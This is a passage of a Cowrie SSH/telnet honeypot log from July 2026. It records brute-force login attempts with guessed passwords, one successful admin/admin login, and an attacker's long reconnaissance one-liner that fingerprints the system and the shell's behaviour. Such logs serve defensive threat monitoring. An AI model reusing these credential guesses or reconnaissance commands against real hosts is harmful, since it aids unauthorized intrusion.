{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":38362,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d8e4c0df5fe","protocol":"ssh","message":"New connection: 103.27.238.116:38362 (10.17.0.5:22) [session: 6d8e4c0df5fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:02.205121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:02.212662Z","src_ip":"103.27.238.116","session":"6d8e4c0df5fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:02.490580Z","src_ip":"103.27.238.116","session":"6d8e4c0df5fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"terminator1","message":"login attempt [root/terminator1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:03.324956Z","src_ip":"103.27.238.116","session":"6d8e4c0df5fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:04.605926Z","src_ip":"103.27.238.116","session":"6d8e4c0df5fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.23598575592041,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:05.874200Z","src_ip":"107.6.151.170","session":"bd1e0479cd0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":49632,"dst_ip":"159.203.135.109","dst_port":23,"session":"f42693c8f3ba","protocol":"telnet","message":"New connection: 137.184.5.188:49632 (159.203.135.109:23) [session: f42693c8f3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:08.354638Z"}
{"eventid":"cowrie.session.closed","duration":32.12149357795715,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:10.993917Z","src_ip":"107.6.151.170","session":"daf7830a586d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":73.85864686965942,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:23.202910Z","src_ip":"107.6.151.170","session":"b043b5385260","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"70.123.144.239","src_port":50529,"dst_ip":"10.17.0.5","dst_port":23,"session":"8923aa578878","protocol":"telnet","message":"New connection: 70.123.144.239:50529 (10.17.0.5:23) [session: 8923aa578878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:30.607470Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"jvbzd","message":"login attempt [root/jvbzd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:31.566000Z","src_ip":"70.123.144.239","session":"8923aa578878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.062291145324707,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:33.416804Z","src_ip":"137.184.5.188","session":"f42693c8f3ba","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:33.525529Z","src_ip":"70.123.144.239","session":"8923aa578878","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:35.215167Z","src_ip":"70.123.144.239","session":"8923aa578878","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":51154,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6d24cca10fc","protocol":"ssh","message":"New connection: 143.20.185.207:51154 (10.17.0.5:22) [session: d6d24cca10fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:56.258840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:56.262107Z","src_ip":"143.20.185.207","session":"d6d24cca10fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:56.375545Z","src_ip":"143.20.185.207","session":"d6d24cca10fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS8VCPU32GBAMD","message":"login attempt [root/RASYAXINSAVPS8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:56.726350Z","src_ip":"143.20.185.207","session":"d6d24cca10fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:01:57.842423Z","src_ip":"143.20.185.207","session":"d6d24cca10fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.777135133743286,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:07.384482Z","src_ip":"70.123.144.239","session":"8923aa578878","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35650,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b648bc174e2","protocol":"telnet","message":"New connection: 107.6.151.170:35650 (159.203.135.109:23) [session: 4b648bc174e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:17.811852Z"}
{"eventid":"cowrie.session.closed","duration":0.006622314453125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:17.818364Z","src_ip":"107.6.151.170","session":"4b648bc174e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":47332,"dst_ip":"10.17.0.5","dst_port":22,"session":"b71bc70029ae","protocol":"ssh","message":"New connection: 132.148.155.138:47332 (10.17.0.5:22) [session: b71bc70029ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:31.019966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:31.028640Z","src_ip":"132.148.155.138","session":"b71bc70029ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:31.085941Z","src_ip":"132.148.155.138","session":"b71bc70029ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitcoinwallet","password":"bitcoin123","message":"login attempt [bitcoinwallet/bitcoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:31.342491Z","src_ip":"132.148.155.138","session":"b71bc70029ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:32.410635Z","src_ip":"132.148.155.138","session":"b71bc70029ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":34650,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8e7af69786d","protocol":"ssh","message":"New connection: 91.92.40.176:34650 (10.17.0.5:22) [session: c8e7af69786d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:55.935905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:56.016883Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:56.079931Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:56.749198Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.042854Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.045398Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.048301Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.050946Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.053708Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.057243Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.059275Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.061500Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.138710Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.142807Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.146555Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.268968Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":55374,"dst_ip":"10.17.0.5","dst_port":22,"session":"da4fda5d60af","protocol":"ssh","message":"New connection: 87.251.79.125:55374 (10.17.0.5:22) [session: da4fda5d60af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.544985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.549218Z","src_ip":"87.251.79.125","session":"da4fda5d60af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.608467Z","src_ip":"91.92.40.176","session":"c8e7af69786d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2